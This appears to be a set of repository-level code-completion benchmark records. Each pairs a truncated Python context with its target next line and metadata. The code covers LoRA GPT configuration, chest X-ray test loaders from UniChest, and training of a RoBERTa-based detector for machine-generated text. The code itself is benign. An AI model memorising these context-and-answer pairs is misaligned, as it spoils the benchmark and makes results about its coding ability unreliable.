not """ r: int = 0 alpha: int = 1 dropout: float = 0.0 to_query: bool = False to_key: bool = False to_value: bool = False to_projection: bool = False to_mlp: bool = False to_head: bool = False @property def mlp_class(self) -> Type: return getattr(lit_gpt.lora, self._mlp_class) class GPT(BaseModel): def __init__(self, config: Config) -> None: nn.Module.__init__(self) assert config.padded_vocab_size is not None self.config = config self.lm_head = LoRALinear( config.n_embd, config.padded_vocab_size, bias=False, r=(config.r if config.to_head else 0), lora_alpha=config.alpha, lora_dropout=config.dropout, ) self.transformer = nn.ModuleDict( dict( wte=nn.Embedding(config.padded_vocab_size, config.n_embd), h=nn.ModuleList(Block(config) for _ in range(config.n_layer)), ln_f=config.norm_class(config.n_embd, eps=config.norm_eps), ) ) self.rope_cache: Optional[RoPECache] = None self.mask_cache: Optional[torch.Tensor] = None
self.kv_caches: List[KVCache] = []
4
2023-10-31 13:28:51+00:00
12k
Elfenreigen/UniChest
test.py
[ { "identifier": "CLP_clinical", "path": "models/clip_tqn.py", "snippet": "class CLP_clinical(nn.Module):\n def __init__(self,\n bert_model_name: str,\n embed_dim: int = 768,\n freeze_layers:Union[Tuple[int, int], int] = None):\n super().__init__()\n...
import argparse import os import logging import yaml import numpy as np import random import time import datetime import json import math import torch import torch.nn as nn import torch.nn.functional as F import torch.backends.cudnn as cudnn import torch.distributed as dist from pathlib import Path from functools import partial from sklearn.metrics import roc_auc_score from tqdm import tqdm from torch.utils.data import DataLoader from tensorboardX import SummaryWriter from transformers import AutoModel,BertConfig,AutoTokenizer from models.clip_tqn import CLP_clinical,ModelRes,TQN_Model,TQN_Model_Add,ModelDense,CLP_clinical2 from dataset.test_dataset import Chestxray14_Dataset,CheXpert_Dataset,Padchest_Dataset,Vindr_Dataset,SIIMACR_Dataset, Shenzhen_Dataset, Openi_Dataset from engine.test import test from models.tokenization_bert import BertTokenizer
10,719
test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'padchest': test_dataset = Padchest_Dataset(config['padchest_all_test_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'vindr': test_dataset = Vindr_Dataset(config['vindrcxr_test_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'siimacr': test_dataset = SIIMACR_Dataset(config['siimacr_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'shenzhen': test_dataset = Shenzhen_Dataset(config['shenzhen_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'openi': test_dataset = Openi_Dataset(config['openi_test_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) if args.image_encoder_name == 'resnet': image_encoder = ModelRes(res_base_model='resnet50').to(device) elif args.image_encoder_name == 'dense': image_encoder = ModelDense(dense_base_model = 'densenet121').to(device) if args.bert_model_name == 'emilyalsentzer/Bio_ClinicalBERT': tokenizer = BertTokenizer.from_pretrained(args.bert_model_name) text_encoder = CLP_clinical2(bert_model_name=args.bert_model_name).cuda() else: tokenizer = AutoTokenizer.from_pretrained(args.bert_model_name,do_lower_case=True, local_files_only=True) text_encoder = CLP_clinical(bert_model_name=args.bert_model_name).cuda() if args.bert_pretrained: checkpoint = torch.load(args.bert_pretrained, map_location='cpu') state_dict = checkpoint["state_dict"] text_encoder.load_state_dict(state_dict) print('Load pretrained bert success from: ',args.bert_pretrained) if args.freeze_bert: for param in text_encoder.parameters(): param.requires_grad = False if args.add_dataset: if 'lam' in config:
# test on chexpert official # test on chestxray14 official # test on padchest dataset # import ruamel.yaml as yaml def main(args, config): device=torch.device('cuda' if torch.cuda.is_available() else 'cpu') print("Total CUDA devices: ", torch.cuda.device_count()) torch.set_default_tensor_type('torch.FloatTensor') seed = args.seed torch.manual_seed(seed) np.random.seed(seed) random.seed(seed) cudnn.benchmark = True #### Dataset #### print("Creating dataset") if args.test_data == 'chexpert': test_dataset = CheXpert_Dataset(config['chexpert_test_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=4, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'chestxray14': test_dataset = Chestxray14_Dataset(config['chestxray_test_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'padchest': test_dataset = Padchest_Dataset(config['padchest_all_test_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'vindr': test_dataset = Vindr_Dataset(config['vindrcxr_test_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'siimacr': test_dataset = SIIMACR_Dataset(config['siimacr_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'shenzhen': test_dataset = Shenzhen_Dataset(config['shenzhen_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) elif args.test_data == 'openi': test_dataset = Openi_Dataset(config['openi_test_file'],config['image_res']) test_dataloader =DataLoader( test_dataset, batch_size=config['batch_size'], num_workers=8, pin_memory=True, sampler=None, shuffle=False, collate_fn=None, drop_last=True, ) test_dataloader.num_samples = len(test_dataset) test_dataloader.num_batches = len(test_dataloader) args.checkpoint = os.path.join(args.aws_output_dir) if args.image_encoder_name == 'resnet': image_encoder = ModelRes(res_base_model='resnet50').to(device) elif args.image_encoder_name == 'dense': image_encoder = ModelDense(dense_base_model = 'densenet121').to(device) if args.bert_model_name == 'emilyalsentzer/Bio_ClinicalBERT': tokenizer = BertTokenizer.from_pretrained(args.bert_model_name) text_encoder = CLP_clinical2(bert_model_name=args.bert_model_name).cuda() else: tokenizer = AutoTokenizer.from_pretrained(args.bert_model_name,do_lower_case=True, local_files_only=True) text_encoder = CLP_clinical(bert_model_name=args.bert_model_name).cuda() if args.bert_pretrained: checkpoint = torch.load(args.bert_pretrained, map_location='cpu') state_dict = checkpoint["state_dict"] text_encoder.load_state_dict(state_dict) print('Load pretrained bert success from: ',args.bert_pretrained) if args.freeze_bert: for param in text_encoder.parameters(): param.requires_grad = False if args.add_dataset: if 'lam' in config:
model = TQN_Model_Add(class_num = args.class_num, gate_num = args.gate_num, high_dim = args.high_dim, lam = config['lam']).cuda()
3
2023-10-30 00:24:16+00:00
12k
YichenZW/Coh-MGT-Detection
run_detector.py
[ { "identifier": "glue_compute_metrics", "path": "util.py", "snippet": "def glue_compute_metrics(task_name, preds, labels):\n assert len(preds) == len(labels)\n if task_name == \"cola\":\n return {\"mcc\": matthews_corrcoef(labels, preds)}\n elif task_name == \"sst-2\":\n return {\...
import os import torch import argparse import logging import random import wandb import numpy as np import ray from torch.utils.data import DataLoader, RandomSampler, SequentialSampler, TensorDataset from torch.utils.data.distributed import DistributedSampler from tqdm import tqdm, trange from torch.optim import AdamW from transformers import ( set_seed, AutoTokenizer, AutoConfig, AutoModel, AutoModelForSequenceClassification, get_linear_schedule_with_warmup, ) from functools import partial from util import glue_compute_metrics as compute_metrics from util import ( glue_convert_examples_to_features as convert_examples_to_features, ) from util import glue_output_modes as output_modes from util import glue_processors as processors from modeling_roberta import ( RobertaForGraphBasedSequenceClassification, RobertaForGraphBasedSequenceClassification_CL, RobertaForGraphBasedSequenceClassification_MBCL, EncoderForMBCL, RobertaForGraphBasedSequenceClassification_RFCL, ) from ray import tune from ray.tune import CLIReporter from ray.tune.schedulers import ASHAScheduler from apex import amp
10,532
train_idx_by_label = {} for i in range(2): train_idx_by_label[i] = [ idx for idx in range(len(dataset)) if int(dataset[idx][3]) == i ] return train_idx_by_label def run(conf, data_dir=None): args.seed = conf["seed"] args.data_dir = data_dir if ( os.path.exists(args.output_dir) and os.listdir(args.output_dir) and args.do_train and not args.overwrite_output_dir ): raise ValueError( "Output directory ({}) already exists and is not empty. Use --overwrite_output_dir to overcome.".format( args.output_dir ) ) # Setup CUDA, GPU & distributed training if args.local_rank == -1 or args.no_cuda: device = torch.device( "cuda" if torch.cuda.is_available() and not args.no_cuda else "cpu" ) args.n_gpu = 0 if args.no_cuda else 1 else: # Initializes the distributed backend which will take care of sychronizing nodes/GPUs torch.cuda.set_device(args.local_rank) device = torch.device("cuda", args.local_rank) torch.distributed.init_process_group(backend="nccl") args.n_gpu = 1 args.device = device print(device) # Setup logging logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO if args.local_rank in [-1, 0] else logging.WARN, ) logger.warning( "Process rank: %s, device: %s, n_gpu: %s, distributed training: %s, 16-bits training: %s", args.local_rank, device, args.n_gpu, bool(args.local_rank != -1), args.fp16, ) set_seed(args) # Login wandb account (you can delete this section if you do not need) wandb_api_key = "your/wandb/key" os.system("wandb login {}".format(wandb_api_key)) init_args = {} if "MLFLOW_EXPERIMENT_ID" in os.environ: init_args["group"] = os.environ["MLFLOW_EXPERIMENT_ID"] wandb.init( project=os.getenv("WANDB_PROJECT", "Machine-Generated Text Detection"), name="CoCo_{}_s{}_{}".format(args.loss_type, args.seed, args.wandb_note), entity=os.getenv("WANDB_ENTITY", "your/account/name"), reinit=True, **init_args, ) wandb.config.update(args, allow_val_change=True) wandb.define_metric("train/loss") wandb.define_metric("eval/accuracy") wandb.define_metric("eval/f1") # Prepare GLUE task args.task_name = args.task_name.lower() if args.task_name not in processors: raise ValueError("Task not found: %s" % (args.task_name)) processor = processors[args.task_name]() args.output_mode = output_modes[args.task_name] label_list = processor.get_labels() num_labels = len(label_list) # Load pretrained model and tokenizer if args.local_rank not in [-1, 0]: # Make sure only the first process in distributed training will download model & vocab torch.distributed.barrier() args.model_type = args.model_type.lower() config = AutoConfig.from_pretrained( args.model_name_or_path, num_labels=num_labels, finetuning_task=args.task_name, cache_dir=args.cache_dir if args.cache_dir else None, task_specific_params={ "gcn_layer": args.gcn_layer, "max_nodes_num": args.max_nodes_num, "max_sentences": args.max_sentences, "max_sen_replen": args.max_sen_replen, "attention_maxscore": args.attention_maxscore, "relation_num": args.with_relation, }, ) tokenizer = AutoTokenizer.from_pretrained( args.model_name_or_path, do_lower_case=args.do_lower_case, cache_dir=args.cache_dir if args.cache_dir else None, ) train_dataset = load_and_cache_examples( args, args.task_name, tokenizer, evaluate=False, mode="train", dataset_name=args.dataset_name, rel=("relation" if args.with_relation > 0 else ""), ) args.train_batch_size = args.per_gpu_train_batch_size * max(1, args.n_gpu) if args.loss_type == "scl":
# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team. # Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Based on code from the above authors, modifications made by Xi'an Jiaotong University. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. logger = logging.getLogger(__name__) def set_seed(args): random.seed(args.seed) np.random.seed(args.seed) torch.manual_seed(args.seed) if args.n_gpu > 0: torch.cuda.manual_seed_all(args.seed) def number_h(num): for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: if abs(num) < 1000.0: return "%3.1f%s" % (num, unit) num /= 1000.0 return "%.1f%s" % (num, "Yi") def generate_shaped_nodes_mask(nodes, max_seq_length, max_nodes_num): nodes_mask = np.zeros(shape=(max_nodes_num, max_seq_length)) nodes_num = min(len(nodes), max_nodes_num) for i in range(nodes_num): span = nodes[i] if span[0] != -1: if span[0] < max_seq_length - 1: end_pos = ( span[1] if span[1] < max_seq_length - 1 else max_seq_length - 1 ) nodes_mask[i, span[0] + 1 : end_pos + 1] = 1 else: continue return nodes_mask, nodes_num def generate_shaped_edge_mask(adj_metric, nodes_num, max_nodes_num, relation_n): if nodes_num != 0: if relation_n != 0: new_adj_metric = np.zeros(shape=(relation_n, max_nodes_num, max_nodes_num)) for i in range(relation_n): new_adj_metric[i][:nodes_num, :nodes_num] = adj_metric[i][ :nodes_num, :nodes_num ] else: new_adj_metric = np.zeros(shape=(max_nodes_num, max_nodes_num)) new_adj_metric[:nodes_num, :nodes_num] = adj_metric[:nodes_num, :nodes_num] return new_adj_metric def train(args, train_dataset, model, tokenizer): """Train the model""" total_params = sum(p.numel() for p in model.parameters()) total_trainable_params = sum( p.numel() for p in model.parameters() if p.requires_grad ) print("Total Params:", number_h(total_params)) print("Total Trainable Params:", number_h(total_trainable_params)) args.train_batch_size = args.per_gpu_train_batch_size * max(1, args.n_gpu) train_sampler = ( RandomSampler(train_dataset) if args.local_rank == -1 else DistributedSampler(train_dataset) ) train_dataloader = DataLoader( train_dataset, sampler=train_sampler, batch_size=args.train_batch_size ) if args.max_steps > 0: t_total = args.max_steps args.num_train_epochs = ( args.max_steps // (len(train_dataloader) // args.gradient_accumulation_steps) + 1 ) else: t_total = ( len(train_dataloader) // args.gradient_accumulation_steps * args.num_train_epochs ) # Prepare optimizer and schedule (linear warmup and decay) no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [ p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay) ], "weight_decay": args.weight_decay, }, { "params": [ p for n, p in model.named_parameters() if any(nd in n for nd in no_decay) ], "weight_decay": 0.01, }, ] optimizer = AdamW( optimizer_grouped_parameters, lr=args.learning_rate, eps=args.adam_epsilon ) scheduler = get_linear_schedule_with_warmup( optimizer, num_warmup_steps=args.warmup_steps, num_training_steps=t_total ) # Check if saved optimizer or scheduler states exist if os.path.isfile( os.path.join(args.model_name_or_path, "optimizer.pt") ) and os.path.isfile(os.path.join(args.model_name_or_path, "scheduler.pt")): optimizer.load_state_dict( torch.load(os.path.join(args.model_name_or_path, "optimizer.pt")) ) scheduler.load_state_dict( torch.load(os.path.join(args.model_name_or_path, "scheduler.pt")) ) if args.fp16: try: except ImportError: raise ImportError( "Please install apex from https://www.github.com/nvidia/apex to use fp16 training." ) model, optimizer = amp.initialize( model, optimizer, opt_level=args.fp16_opt_level ) # Multi-gpu training (should be after apex fp16 initialization) if args.n_gpu > 1: model = torch.nn.DataParallel(model) # Distributed training (should be after apex fp16 initialization) if args.local_rank != -1: model = torch.nn.parallel.DistributedDataParallel( model, device_ids=[args.local_rank], output_device=args.local_rank, find_unused_parameters=True, ) # Training logger.info("***** Running training *****") logger.info(" Num examples = %d", len(train_dataset)) logger.info(" Num Epochs = %d", args.num_train_epochs) logger.info( " Instantaneous batch size per GPU = %d", args.per_gpu_train_batch_size ) logger.info( " Total train batch size (w. parallel, distributed & accumulation) = %d", args.train_batch_size * args.gradient_accumulation_steps * (torch.distributed.get_world_size() if args.local_rank != -1 else 1), ) logger.info(" Gradient Accumulation steps = %d", args.gradient_accumulation_steps) logger.info(" Total optimization steps = %d", t_total) best_acc, best_f1 = 0.0, 0.0 global_step, epochs_trained, steps_trained_in_current_epoch = 0, 0, 0 # Check if continuing training from a checkpoint if os.path.exists(args.model_name_or_path): # set global_step to gobal_step of last saved checkpoint from model path global_step = int(args.model_name_or_path.split("-")[-1].split("/")[0]) epochs_trained = global_step // ( len(train_dataloader) // args.gradient_accumulation_steps ) steps_trained_in_current_epoch = global_step % ( len(train_dataloader) // args.gradient_accumulation_steps ) logger.info( " Continuing training from checkpoint, will skip to saved global_step" ) logger.info(" Continuing training from epoch %d", epochs_trained) logger.info(" Continuing training from global step %d", global_step) logger.info( " Will skip the first %d steps in the first epoch", steps_trained_in_current_epoch, ) tr_loss, logging_loss = 0.0, 0.0 model.zero_grad() train_iterator = trange( epochs_trained, int(args.num_train_epochs), desc="Epoch", disable=args.local_rank not in [-1, 0], ) set_seed(args) max_acc, max_acc_f1, max_f1, max_f1_acc = 0.0, 0.0, 0.0, 0.0 for idx, _ in enumerate(train_iterator): tr_loss = 0.0 epoch_iterator = tqdm( train_dataloader, desc="Iteration", disable=args.local_rank not in [-1, 0] ) for step, batch in enumerate(epoch_iterator): # Skip past any already trained steps if resuming training if steps_trained_in_current_epoch > 0: steps_trained_in_current_epoch -= 1 continue model.train() batch = tuple(t.to(args.device) for t in batch) inputs = { "input_ids": batch[0], "attention_mask": batch[1], "labels": batch[3], "nodes_index_mask": batch[4], "adj_metric": batch[5], "node_mask": batch[6], "sen2node": batch[7], "sentence_mask": batch[8], "sentence_length": batch[9], "batch_id": batch[10], } if args.model_type != "distilbert": inputs["token_type_ids"] = ( batch[2] if args.model_type in ["bert", "xlnet", "albert"] else None ) outputs, _ = model(**inputs) loss = outputs[0] wandb.log({"train/loss": loss}) if args.n_gpu > 1: loss = loss.mean() if args.gradient_accumulation_steps > 1: loss = loss / args.gradient_accumulation_steps if args.fp16: with amp.scale_loss(loss, optimizer) as scaled_loss: scaled_loss.backward() else: loss.backward() tr_loss += loss.item() epoch_iterator.set_description( "loss {}".format( round(tr_loss * args.gradient_accumulation_steps / (step + 1), 4) ) ) if (step + 1) % args.gradient_accumulation_steps == 0: if args.fp16: torch.nn.utils.clip_grad_norm_( amp.master_params(optimizer), args.max_grad_norm ) else: torch.nn.utils.clip_grad_norm_( model.parameters(), args.max_grad_norm ) optimizer.step() scheduler.step() model.zero_grad() global_step += 1 if ( args.local_rank in [-1, 0] and args.logging_steps > 0 and global_step % args.logging_steps == 0 ): logs = {} if ( args.local_rank == -1 and args.evaluate_during_training ): results = evaluate(args, model, tokenizer) for key, value in results.items(): eval_key = "eval_{}".format(key) logs[eval_key] = value loss_scalar = (tr_loss - logging_loss) / args.logging_steps learning_rate_scalar = scheduler.get_lr()[0] logs["learning_rate"] = learning_rate_scalar logs["loss"] = loss_scalar logging_loss = tr_loss wandb.log({"eval/loss": loss_scalar}) if args.max_steps > 0 and global_step > args.max_steps: epoch_iterator.close() break if args.local_rank in [-1, 0] and args.save_steps > 0 and args.do_eval: results = evaluate(args, model, tokenizer, checkpoint=str(idx)) logger.info("the results is {}".format(results)) if results["acc"] > max_acc: max_acc = results["acc"] max_acc_f1 = results["f1"] if results["f1"] > max_f1: max_f1 = results["f1"] max_f1_acc = results["acc"] if results["f1"] > best_f1: best_f1 = results["f1"] output_dir = os.path.join( args.output_dir, "seed-{}".format(args.seed), "checkpoint-{}-{}".format(idx, best_f1), ) if not os.path.exists(output_dir): os.makedirs(output_dir) model_to_save = ( model.module if hasattr(model, "module") else model ) # Take care of distributed/parallel training model_to_save.save_pretrained(output_dir) torch.save( args, os.path.join(output_dir, "training_{}.bin".format(idx)) ) logger.info("Saving model checkpoint to %s", output_dir) torch.save( optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt") ) torch.save( scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt") ) logger.info("Saving optimizer and scheduler states to %s", output_dir) if args.max_steps > 0 and global_step > args.max_steps: train_iterator.close() break return_res = { "max_acc": max_acc, "max_acc_f1": max_acc_f1, "max_f1": max_f1, "max_f1_acc": max_f1_acc, } if args.do_ray: tune.report( accuracy=max_acc, max_acc_f1=max_acc_f1, f1=max_f1, max_f1_acc=max_f1_acc ) return global_step, tr_loss / global_step, return_res, output_dir def mb_train(args, train_dataset, encoder_q, encoder_k, dataloader, tokenizer): """Train the model""" global memory_queue encoder_q.train() total_params = sum(p.numel() for p in encoder_q.parameters()) total_trainable_params = sum( p.numel() for p in encoder_q.parameters() if p.requires_grad ) print("Encoder Params:", number_h(total_params)) print("Encoder Trainable Params:", number_h(total_trainable_params)) args.train_batch_size = args.per_gpu_train_batch_size * max(1, args.n_gpu) train_sampler = ( RandomSampler(train_dataset) if args.local_rank == -1 else DistributedSampler(train_dataset) ) train_dataloader = DataLoader( train_dataset, sampler=train_sampler, batch_size=args.train_batch_size ) if args.max_steps > 0: t_total = args.max_steps args.num_train_epochs = ( args.max_steps // (len(train_dataloader) // args.gradient_accumulation_steps) + 1 ) else: t_total = ( len(train_dataloader) // args.gradient_accumulation_steps * args.num_train_epochs ) # Prepare optimizer and schedule (linear warmup and decay) no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [ p for n, p in encoder_q.named_parameters() if not any(nd in n for nd in no_decay) ], "weight_decay": args.weight_decay, }, { "params": [ p for n, p in encoder_q.named_parameters() if any(nd in n for nd in no_decay) ], "weight_decay": 0.01, }, ] optimizer = AdamW( optimizer_grouped_parameters, lr=args.learning_rate, eps=args.adam_epsilon ) scheduler = get_linear_schedule_with_warmup( optimizer, num_warmup_steps=args.warmup_steps, num_training_steps=t_total ) # Training logger.info("***** Running training *****") logger.info(" Num examples = %d", len(train_dataset)) logger.info(" Num Epochs = %d", args.num_train_epochs) logger.info( " Instantaneous batch size per GPU = %d", args.per_gpu_train_batch_size ) logger.info( " Total train batch size (w. parallel, distributed & accumulation) = %d", args.train_batch_size * args.gradient_accumulation_steps * (torch.distributed.get_world_size() if args.local_rank != -1 else 1), ) logger.info(" Gradient Accumulation steps = %d", args.gradient_accumulation_steps) logger.info(" Total optimization steps = %d", t_total) best_f1 = 0.0 global_step, epochs_trained, steps_trained_in_current_epoch = 0, 0, 0 tr_loss, logging_loss = 0.0, 0.0 encoder_q.zero_grad() train_iterator = trange( epochs_trained, int(args.num_train_epochs), desc="Epoch", disable=args.local_rank not in [-1, 0], ) set_seed(args) max_acc, max_acc_f1, max_f1, max_f1_acc = 0.0, 0.0, 0.0, 0.0 for idx, _ in enumerate(train_iterator): tr_loss = 0.0 epoch_iterator = tqdm( train_dataloader, desc="Iteration", disable=args.local_rank not in [-1, 0] ) for step, batch in enumerate(epoch_iterator): # Skip past any already trained steps if resuming training if steps_trained_in_current_epoch > 0: steps_trained_in_current_epoch -= 1 continue encoder_q.train() batch = tuple(t.to(args.device) for t in batch) inputs = { "input_ids": batch[0], "attention_mask": batch[1], "labels": batch[3], "nodes_index_mask": batch[4], "adj_metric": batch[5], "node_mask": batch[6], "sen2node": batch[7], "sentence_mask": batch[8], "sentence_length": batch[9], "batch_id": batch[10], } if args.model_type != "distilbert": inputs["token_type_ids"] = ( batch[2] if args.model_type in ["bert", "xlnet", "albert"] else None ) # XLM, DistilBERT, RoBERTa, and XLM-RoBERTa don't use segment_ids q_outputs, q_rep = encoder_q(**inputs) # Model outputs are always tuple in transformers (see doc). if args.n_gpu > 1: loss = loss.mean() if args.gradient_accumulation_steps > 1: loss = loss / args.gradient_accumulation_steps loss.backward() tr_loss += loss.item() epoch_iterator.set_description( "loss {}".format( round(tr_loss * args.gradient_accumulation_steps / (step + 1), 4) ) ) if (step + 1) % args.gradient_accumulation_steps == 0: if args.fp16: torch.nn.utils.clip_grad_norm_( amp.master_params(optimizer), args.max_grad_norm ) else: torch.nn.utils.clip_grad_norm_( encoder_q.parameters(), args.max_grad_norm ) optimizer.step() scheduler.step() encoder_q.zero_grad() global_step += 1 if ( args.local_rank in [-1, 0] and args.logging_steps > 0 and global_step % args.logging_steps == 0 ): logs = {} if ( args.local_rank == -1 and args.evaluate_during_training ): # Only evaluate when single GPU otherwise metrics may not average well results = evaluate(args, encoder_q, tokenizer) for key, value in results.items(): eval_key = "eval_{}".format(key) logs[eval_key] = value loss_scalar = (tr_loss - logging_loss) / args.logging_steps learning_rate_scalar = scheduler.get_lr()[0] logs["learning_rate"] = learning_rate_scalar logs["loss"] = loss_scalar logging_loss = tr_loss wandb.log({"train/loss": loss_scalar}) if args.max_steps > 0 and global_step > args.max_steps: epoch_iterator.close() break if args.local_rank in [-1, 0] and args.save_steps > 0 and args.do_eval: results = evaluate(args, encoder_q, tokenizer, checkpoint=str(idx)) logger.info("the results is {}".format(results)) if results["f1"] > max_f1: max_f1 = results["f1"] max_f1_acc = results["acc"] if results["acc"] > max_acc: max_acc = results["acc"] max_acc_f1 = results["f1"] if results["f1"] > best_f1: best_f1 = results["f1"] output_dir = os.path.join( args.output_dir, "seed-{}".format(args.seed), "checkpoint-{}-{}".format(idx, best_f1), ) if not os.path.exists(output_dir): os.makedirs(output_dir) model_to_save = ( encoder_q.module if hasattr(encoder_q, "module") else encoder_q ) # Take care of distributed/parallel training model_to_save.save_pretrained(output_dir) torch.save( args, os.path.join(output_dir, "training_{}.bin".format(idx)) ) logger.info("Saving model checkpoint to %s", output_dir) torch.save( optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt") ) torch.save( scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt") ) logger.info("Saving optimizer and scheduler states to %s", output_dir) if args.max_steps > 0 and global_step > args.max_steps: train_iterator.close() break return_res = { "max_acc": max_acc, "max_acc_f1": max_acc_f1, "max_f1": max_f1, "max_f1_acc": max_f1_acc, } if args.do_ray: tune.report( accuracy=max_acc, max_acc_f1=max_acc_f1, f1=max_f1, max_f1_acc=max_f1_acc ) return global_step, tr_loss / global_step, return_res, output_dir def evaluate(args, model, tokenizer, checkpoint=None, prefix="", mode="dev"): eval_task_names = (args.task_name,) eval_outputs_dirs = (args.output_dir,) results = {} for eval_task, eval_output_dir in zip(eval_task_names, eval_outputs_dirs): eval_dataset = load_and_cache_examples( args, eval_task, tokenizer, evaluate=True, mode=mode ) if not os.path.exists(eval_output_dir) and args.local_rank in [-1, 0]: os.makedirs(eval_output_dir) args.eval_batch_size = args.per_gpu_eval_batch_size * max(1, args.n_gpu) # Note that DistributedSampler samples randomly. eval_sampler = SequentialSampler(eval_dataset) eval_dataloader = DataLoader( eval_dataset, sampler=eval_sampler, batch_size=args.eval_batch_size ) if args.n_gpu > 1 and not isinstance(model, torch.nn.DataParallel): model = torch.nn.DataParallel(model) # Evaluation logger.info("***** Running evaluation {} *****".format(prefix)) logger.info(" Num examples = %d", len(eval_dataset)) logger.info(" Batch size = %d", args.eval_batch_size) eval_loss = 0.0 nb_eval_steps = 0 preds, out_label_ids = None, None for batch in tqdm(eval_dataloader, desc="Evaluating"): model.eval() batch = tuple(t.to(args.device) for t in batch) with torch.no_grad(): inputs = { "input_ids": batch[0], "attention_mask": batch[1], "labels": batch[3], "nodes_index_mask": batch[4], "adj_metric": batch[5], "node_mask": batch[6], "sen2node": batch[7], "sentence_mask": batch[8], "sentence_length": batch[9], } if args.model_type != "distilbert": inputs["token_type_ids"] = ( batch[2] if args.model_type in ["bert", "xlnet", "albert"] else None ) # XLM, DistilBERT, RoBERTa, and XLM-RoBERTa don't use segment_ids outputs, _ = model(**inputs) tmp_eval_loss, logits = outputs[:2] eval_loss += tmp_eval_loss.mean().item() nb_eval_steps += 1 if preds is None: preds = logits.detach().cpu().numpy() out_label_ids = inputs["labels"].detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) out_label_ids = np.append( out_label_ids, inputs["labels"].detach().cpu().numpy(), axis=0 ) probs = preds eval_loss = eval_loss / nb_eval_steps if args.output_mode == "classification": preds = np.argmax(preds, axis=1) elif args.output_mode == "regression": preds = np.squeeze(preds) result = compute_metrics(eval_task, preds, out_label_ids) results.update(result) output_eval_file = os.path.join(eval_output_dir, prefix, "eval_results.txt") with open(output_eval_file, "w") as writer: logger.info("***** Eval results {} *****".format(prefix)) for key in sorted(result.keys()): logger.info(" %s = %s", key, str(result[key])) writer.write("%s = 